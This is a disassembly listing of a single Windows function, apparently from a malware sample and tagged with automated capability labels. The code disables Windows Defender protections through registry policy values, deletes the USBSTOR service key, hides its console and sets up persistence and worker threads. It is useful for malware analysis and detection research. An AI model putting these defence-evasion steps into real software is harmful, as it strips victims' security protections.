Function at 0x140003986
Capabilities:
Delete registry key
Disable windows defender features via registry on windows
Get common file path
Persist via windows service
Set registry value

Disassembly:
jmp 0x14003ca90
push rbp
push rdi
sub rsp, 0x6b8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x10a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14017ce00]
xor rax, rbp
mov qword [rbp + 0x658], rax
lea rcx, [0x140195306]
call fcn.140004e5d
nop
xor r9d, r9d
mov r8d, 7
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x14003ccf6
xor r8d, r8d
mov edx, 0x104
lea rcx, [rbp + 0x138]
call fcn.140003332
nop
xor edx, edx
lea rcx, [rbp + 0x138]
call fcn.1400017ee
mov r8d, 0x104
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
nop
lea rcx, [rbp + 0x138]
call fcn.1400015d2
mov rcx, rax
call fcn.140002c4d
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x138]
call fcn.140001564
nop
xor r8d, r8d
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x4b8]
call fcn.1400040c0
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x638], rax
lea rdx, [rbp + 0x4f8]
mov rcx, qword [rbp + 0x638]
call fcn.140002d1a
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov qword [rbp + 0x650], rax
lea rdx, [rbp + 0x178]
mov rcx, qword [rbp + 0x650]
call fcn.140001a5f
nop
lea rcx, [rbp + 0x4f8]
call fcn.140004881
nop
lea rcx, [rbp + 0x4b8]
call fcn.140004881
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x538]
call fcn.140002cb1
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x630], rax
lea r8, [0x14013e2cc]
mov rdx, qword [rbp + 0x630]
lea rcx, [rbp + 0x578]
call fcn.140004895
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov qword [rbp + 0x640], rax
lea r8, [rbp + 0x178]
mov rdx, qword [rbp + 0x640]
lea rcx, [rbp + 0x1b8]
call fcn.140002662
nop
lea rcx, [rbp + 0x578]
call fcn.140001bc2
nop
lea rcx, [rbp + 0x538]
call fcn.140001bc2
nop
xor r8d, r8d
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x5b8]
call fcn.1400040c0
nop
xor r8d, r8d
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x5f8]
call fcn.1400040c0
nop
mov r8d, 2
lea rdx, [rbp + 0x5b8]
lea rcx, [rbp + 0x5f8]
call fcn.14000394f
nop
lea rcx, [rbp + 0x5f8]
call fcn.140004881
nop
lea rcx, [rbp + 0x5b8]
call fcn.140004881
nop
lea rcx, [rbp + 0x1b8]
call fcn.140001bc2
nop
lea rcx, [rbp + 0x178]
call fcn.140001bc2
nop
lea rcx, [rbp + 0x138]
call fcn.140001bc2
nop
lea rax, [0x140182a10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
nop
lea r8, [0x140182a10]
lea rdx, str._sdesktop.ini
lea rcx, [0x140182900]
call fcn.14000498a
nop
mov dword [0x1401828f8], 0x4650
lea rdx, str.SYSTEMCurrentControlSetServicesUSBSTOR
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
nop
mov dword [rbp + 0x234], 1
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0
jne 0x14003cf27
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x234]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableAntiSpyware
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x218]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Real_Time_Protection
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
nop
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x234]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableRealtimeMonitoring
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x234]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableBehaviorMonitoring
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x234]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableScanOnRealtimeEnable
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x234]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableOnAccessProtection
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x234]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableIOAVProtection
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
nop
call fcn.140004372
nop
mov dword [0x1401828f0], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140003e3b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x628], rax
movsxd rax, dword [0x1401828f0]
lea rcx, [0x140182800]
mov rdx, qword [rbp + 0x628]
mov qword [rcx + rax*8], rdx
mov eax, dword [0x1401828f0]
inc eax
mov dword [0x1401828f0], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140005222]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x628], rax
movsxd rax, dword [0x1401828f0]
lea rcx, [0x140182800]
mov rdx, qword [rbp + 0x628]
mov qword [rcx + rax*8], rdx
mov eax, dword [0x1401828f0]
inc eax
mov dword [0x1401828f0], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140001c67]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x628], rax
movsxd rax, dword [0x1401828f0]
lea rcx, [0x140182800]
mov rdx, qword [rbp + 0x628]
mov qword [rcx + rax*8], rdx
mov eax, dword [0x1401828f0]
inc eax
mov dword [0x1401828f0], eax
call fcn.1400034db
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14013c420]
call fcn.1400042ff
mov eax, edi
mov rcx, qword [rbp + 0x658]
xor rcx, rbp
call fcn.140002e69
lea rsp, [rbp + 0x668]
pop rdi
pop rbp
ret